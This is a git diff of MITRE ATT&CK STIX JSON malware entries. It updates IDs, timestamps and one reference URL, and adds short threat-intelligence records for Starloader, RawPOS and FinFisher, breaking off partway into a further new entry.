diff --git a/enterprise-attack/malware/malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49.json b/enterprise-attack/malware/malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49.json
index b3d9ad59a2..ff76813b5d 100644
--- a/enterprise-attack/malware/malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49.json
+++ b/enterprise-attack/malware/malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--68f09961-ed87-4113-886a-7e35389c0298",
+    "id": "bundle--d3aec1b4-d471-480c-9bbf-cdb13c8005ce",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--89f63ae4-f229-4a5c-95ad-6f22ed2b5c49",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:13.407Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Skeleton Key",
             "description": "Skeleton Key is malware used to inject false credentials into domain controllers with the intent of creating a backdoor password. (Citation: Dell Skeleton) Functionality similar to Skeleton Key is included as a module in Mimikatz.\n\nAliases: Skeleton Key",
             "labels": [
diff --git a/enterprise-attack/malware/malware--8ae43c46-57ef-47d5-a77a-eebb35628db2.json b/enterprise-attack/malware/malware--8ae43c46-57ef-47d5-a77a-eebb35628db2.json
index 9e8ff61b20..be06ddaadd 100644
--- a/enterprise-attack/malware/malware--8ae43c46-57ef-47d5-a77a-eebb35628db2.json
+++ b/enterprise-attack/malware/malware--8ae43c46-57ef-47d5-a77a-eebb35628db2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e248e394-b0e6-42c5-b84d-079d33324c91",
+    "id": "bundle--c25f22b8-c36c-455e-8990-59888c8bf251",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:34.199Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "JHUHUGIT",
             "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "F-Secure Sofacy 2015",
diff --git a/enterprise-attack/malware/malware--8b880b41-5139-4807-baa9-309690218719.json b/enterprise-attack/malware/malware--8b880b41-5139-4807-baa9-309690218719.json
index e521ec0cab..86f2731588 100644
--- a/enterprise-attack/malware/malware--8b880b41-5139-4807-baa9-309690218719.json
+++ b/enterprise-attack/malware/malware--8b880b41-5139-4807-baa9-309690218719.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d196a504-2066-41dd-9c79-26317b06daf3",
+    "id": "bundle--35b8b6c4-20d8-4f37-aa51-8122b97e7ecd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--8b880b41-5139-4807-baa9-309690218719",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:28.257Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SPACESHIP",
             "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SPACESHIP",
             "labels": [
diff --git a/enterprise-attack/malware/malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06.json b/enterprise-attack/malware/malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06.json
index ac9f509abc..91747e751b 100644
--- a/enterprise-attack/malware/malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06.json
+++ b/enterprise-attack/malware/malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7fa8880e-12c0-48f2-bc04-212f830b5a01",
+    "id": "bundle--38864eeb-0550-4167-9141-5d3442f083a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:16.360Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Ixeshe",
             "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)\n\nAliases: Ixeshe",
             "labels": [
diff --git a/enterprise-attack/malware/malware--8c553311-0baa-4146-997a-f79acef3d831.json b/enterprise-attack/malware/malware--8c553311-0baa-4146-997a-f79acef3d831.json
index 37636551ab..27ebc858f1 100644
--- a/enterprise-attack/malware/malware--8c553311-0baa-4146-997a-f79acef3d831.json
+++ b/enterprise-attack/malware/malware--8c553311-0baa-4146-997a-f79acef3d831.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aa9aa26e-59e1-4de4-9f3e-77b62251a184",
+    "id": "bundle--485e3dd8-4a4d-49db-94d5-309be5d7f120",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--8c553311-0baa-4146-997a-f79acef3d831",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:38.480Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RARSTONE",
             "description": "RARSTONE is malware used by the Naikon group that has some characteristics similar to PlugX. (Citation: Aquino RARSTONE)\n\nAliases: RARSTONE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc.json b/enterprise-attack/malware/malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc.json
index f49fe3879a..e593c161f3 100644
--- a/enterprise-attack/malware/malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc.json
+++ b/enterprise-attack/malware/malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--87fdb8ca-9514-4a89-9da4-460c369b8206",
+    "id": "bundle--61cd0f62-4d15-4738-815b-16619075aa56",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:43.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "4H RAT",
             "description": "4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)\n\nAliases: 4H RAT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--91000a8a-58cc-4aba-9ad0-993ad6302b86.json b/enterprise-attack/malware/malware--91000a8a-58cc-4aba-9ad0-993ad6302b86.json
index e9af55ce63..3e5cfeeac5 100644
--- a/enterprise-attack/malware/malware--91000a8a-58cc-4aba-9ad0-993ad6302b86.json
+++ b/enterprise-attack/malware/malware--91000a8a-58cc-4aba-9ad0-993ad6302b86.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59af6310-c97e-41f2-953d-a1ac01efaaf9",
+    "id": "bundle--7b28190f-2ec1-401f-8480-60620cf557ec",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:21.437Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "StreamEx",
             "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)\n\nAliases: StreamEx",
             "labels": [
diff --git a/enterprise-attack/malware/malware--92ec0cbd-2c30-44a2-b270-73f4ec949841.json b/enterprise-attack/malware/malware--92ec0cbd-2c30-44a2-b270-73f4ec949841.json
index 796665b6ac..b1141783e6 100644
--- a/enterprise-attack/malware/malware--92ec0cbd-2c30-44a2-b270-73f4ec949841.json
+++ b/enterprise-attack/malware/malware--92ec0cbd-2c30-44a2-b270-73f4ec949841.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--890d1c59-8333-4b2b-af61-e233c6226bc6",
+    "id": "bundle--eabaca38-4fae-474a-b299-a07210e73128",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:26.565Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RTM",
             "description": "RTM is custom malware written in Delphi. It is used by the group of the same name (RTM). (Citation: ESET RTM Feb 2017)\n\nAliases: RTM",
             "labels": [
diff --git a/enterprise-attack/malware/malware--94379dec-5c87-49db-b36e-66abc0b81344.json b/enterprise-attack/malware/malware--94379dec-5c87-49db-b36e-66abc0b81344.json
index 1745a71988..72ff52b27a 100644
--- a/enterprise-attack/malware/malware--94379dec-5c87-49db-b36e-66abc0b81344.json
+++ b/enterprise-attack/malware/malware--94379dec-5c87-49db-b36e-66abc0b81344.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c0180732-5a37-48cb-837d-bb2e6379f0d0",
+    "id": "bundle--7449b504-cdad-4d05-9a45-f4ab42019d3f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:18.668Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Derusbi",
             "description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi",
             "labels": [
diff --git a/enterprise-attack/malware/malware--95047f03-4811-4300-922e-1ba937d53a61.json b/enterprise-attack/malware/malware--95047f03-4811-4300-922e-1ba937d53a61.json
index 4923d67da6..e2775f19fb 100644
--- a/enterprise-attack/malware/malware--95047f03-4811-4300-922e-1ba937d53a61.json
+++ b/enterprise-attack/malware/malware--95047f03-4811-4300-922e-1ba937d53a61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cd673a5f-caea-449e-9983-8f1ad02dbd75",
+    "id": "bundle--4ff7d17d-b9e4-4f39-b8fd-44496cf6ee1e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--95047f03-4811-4300-922e-1ba937d53a61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:14.124Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hikit",
             "description": "Hikit is malware that has been used by  (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)\n\nAliases: Hikit",
             "labels": [
diff --git a/enterprise-attack/malware/malware--96566860-9f11-4b6f-964d-1c924e4f24a4.json b/enterprise-attack/malware/malware--96566860-9f11-4b6f-964d-1c924e4f24a4.json
new file mode 100644
index 0000000000..5200fbf707
--- /dev/null
+++ b/enterprise-attack/malware/malware--96566860-9f11-4b6f-964d-1c924e4f24a4.json
@@ -0,0 +1,40 @@
+{
+    "type": "bundle",
+    "id": "bundle--c5de3c05-5356-44c3-b362-8b0e6328d795",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Starloader",
+            "description": "is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0188",
+                    "external_id": "S0188"
+                },
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Starloader"
+            ],
+            "x_mitre_contributors": [
+                "Alan Neville, @abnev"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--96b08451-b27a-4ff6-893f-790e26393a8e.json b/enterprise-attack/malware/malware--96b08451-b27a-4ff6-893f-790e26393a8e.json
index f3c2cd6e0f..d5c457a99d 100644
--- a/enterprise-attack/malware/malware--96b08451-b27a-4ff6-893f-790e26393a8e.json
+++ b/enterprise-attack/malware/malware--96b08451-b27a-4ff6-893f-790e26393a8e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5587db51-46b1-48e2-907a-005e2a57cb8c",
+    "id": "bundle--677b1618-8863-443d-8fff-8ce2c7d6ffd5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:48.482Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sakula",
             "description": "Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)\n\nAliases: Sakula, Sakurel, VIPER",
             "labels": [
diff --git a/enterprise-attack/malware/malware--9752aef4-a1f3-4328-929f-b64eb0536090.json b/enterprise-attack/malware/malware--9752aef4-a1f3-4328-929f-b64eb0536090.json
new file mode 100644
index 0000000000..f4762fcf9e
--- /dev/null
+++ b/enterprise-attack/malware/malware--9752aef4-a1f3-4328-929f-b64eb0536090.json
@@ -0,0 +1,61 @@
+{
+    "type": "bundle",
+    "id": "bundle--4f6fa150-7794-4346-88a7-cd79a9acf477",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--9752aef4-a1f3-4328-929f-b64eb0536090",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "RawPOS",
+            "description": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nAliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD\n\nContributors: Walker Johnson",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0169",
+                    "external_id": "S0169"
+                },
+                {
+                    "source_name": "Kroll RawPOS Jan 2017",
+                    "description": "Nesbit, B. and Ackerman, D. (2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "TrendMicro RawPOS April 2015",
+                    "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017."
+                },
+                {
+                    "source_name": "Visa RawPOS March 2015",
+                    "description": "Visa. (2015, March). Visa Security Alert: \"RawPOS\" Malware Targeting Lodging Merchants. Retrieved October 6, 2017.",
+                    "url": "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"
+                },
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                },
+                {
+                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
+                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
+                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "RawPOS",
+                "FIENDCRY",
+                "DUEBREW",
+                "DRIFTWOOD"
+            ],
+            "x_mitre_contributors": [
+                "Walker Johnson"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--98e8a977-3416-43aa-87fa-33e287e9c14c.json b/enterprise-attack/malware/malware--98e8a977-3416-43aa-87fa-33e287e9c14c.json
index 308747dfde..8b0a98b5dc 100644
--- a/enterprise-attack/malware/malware--98e8a977-3416-43aa-87fa-33e287e9c14c.json
+++ b/enterprise-attack/malware/malware--98e8a977-3416-43aa-87fa-33e287e9c14c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3160ce6-442e-4411-a5e7-6a4ec6fbe650",
+    "id": "bundle--24a016e7-9a1d-44b8-a626-b45e71bfe98d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WINDSHIELD",
             "description": "WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: WINDSHIELD",
             "labels": [
diff --git a/enterprise-attack/malware/malware--9ca488bd-9587-48ef-b923-1743523e63b2.json b/enterprise-attack/malware/malware--9ca488bd-9587-48ef-b923-1743523e63b2.json
index 933ed83e15..e3d8153216 100644
--- a/enterprise-attack/malware/malware--9ca488bd-9587-48ef-b923-1743523e63b2.json
+++ b/enterprise-attack/malware/malware--9ca488bd-9587-48ef-b923-1743523e63b2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f5b53fc9-d266-49d8-bc9e-4920b5d986b0",
+    "id": "bundle--3346b1ce-0cc8-42b6-a3b1-3eb0d22d9773",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--9ca488bd-9587-48ef-b923-1743523e63b2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SOUNDBITE",
             "description": "SOUNDBITE is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: SOUNDBITE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e.json b/enterprise-attack/malware/malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e.json
index 3e7b566a90..8dc2de6db8 100644
--- a/enterprise-attack/malware/malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e.json
+++ b/enterprise-attack/malware/malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae4e4b53-d4de-4e49-9a04-c0ae5fbddee0",
+    "id": "bundle--3dd95d65-ed2b-47f8-8538-8ffd1753fa91",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:46.890Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "hcdLoader",
             "description": "hcdLoader is a remote access tool (RAT) that has been used by APT18. (Citation: Dell Lateral Movement)\n\nAliases: hcdLoader",
             "labels": [
diff --git a/enterprise-attack/malware/malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe.json b/enterprise-attack/malware/malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe.json
index dd1071db30..d5054a0f5f 100644
--- a/enterprise-attack/malware/malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe.json
+++ b/enterprise-attack/malware/malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dfb421c8-ff3e-4d28-8397-6dfd763cb644",
+    "id": "bundle--5a68c734-2d20-4298-91c6-452d807050b2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:09.842Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Nidiran",
             "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)\n\nAliases: Nidiran, Backdoor.Nidiran",
             "labels": [
diff --git a/enterprise-attack/malware/malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1.json b/enterprise-attack/malware/malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1.json
index 2ae5918876..4a2394329d 100644
--- a/enterprise-attack/malware/malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1.json
+++ b/enterprise-attack/malware/malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b08ab12a-40a4-4430-9651-8d3e795cb165",
+    "id": "bundle--c54d882f-fa68-40f3-a226-66eced6d01fa",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.016Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MoonWind",
             "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)\n\nAliases: MoonWind",
             "labels": [
diff --git a/enterprise-attack/malware/malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085.json b/enterprise-attack/malware/malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085.json
index 3c690dce70..75dd674cb4 100644
--- a/enterprise-attack/malware/malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085.json
+++ b/enterprise-attack/malware/malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--28d421e7-c949-4d44-b4ca-410d448a625e",
+    "id": "bundle--8e8ccfe0-339d-49cd-bfc3-e5316587bb76",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:32.915Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Wiper",
             "description": "Wiper is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)\n\nAliases: Wiper",
             "labels": [
diff --git a/enterprise-attack/malware/malware--a5528622-3a8a-4633-86ce-8cdaf8423858.json b/enterprise-attack/malware/malware--a5528622-3a8a-4633-86ce-8cdaf8423858.json
new file mode 100644
index 0000000000..0a3ad2bfc7
--- /dev/null
+++ b/enterprise-attack/malware/malware--a5528622-3a8a-4633-86ce-8cdaf8423858.json
@@ -0,0 +1,42 @@
+{
+    "type": "bundle",
+    "id": "bundle--5e54e569-ea8e-4381-afbd-7225d7ec4ba3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "FinFisher",
+            "description": "is a government-grade commercial surveillance reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. (Citation: FinFisher) (Citation: Microsoft SIR Vol 21)\n\nAliases:  (Citation: FinFisher)",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0182",
+                    "external_id": "S0182"
+                },
+                {
+                    "source_name": "FinFisher",
+                    "description": "FinFisher. (n.d.).  Retrieved December 20, 2017.",
+                    "url": "http://www.finfisher.com/FinFisher/index.html"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "FinFisher"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5.json b/enterprise-attack/malware/malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5.json
index cc56cf842f..53b586b61c 100644
--- a/enterprise-attack/malware/malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5.json
+++ b/enterprise-attack/malware/malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8ba796cb-4a79-4c5e-961a-558970b32217",
+    "id": "bundle--41132f5a-2401-47e4-b938-a89d35f60b1c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:47.412Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OwaAuth",
             "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: OwaAuth",
             "labels": [
diff --git a/enterprise-attack/malware/malware--a8d3d497-2da9-4797-8e0b-ed176be08654.json b/enterprise-attack/malware/malware--a8d3d497-2da9-4797-8e0b-ed176be08654.json
new file mode 100644
index 0000000000..da834ac2dd
--- /dev/null
+++ b/enterprise-attack/malware/malware--a8d3d497-2da9-4797-8e0b-ed176be08654.json
@@ -0,0 +1,42 @@
+{
+    "type": "bundle",
+    "id": "bundle--406b0ce2-1637-45c7-8600-a39780184a40",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
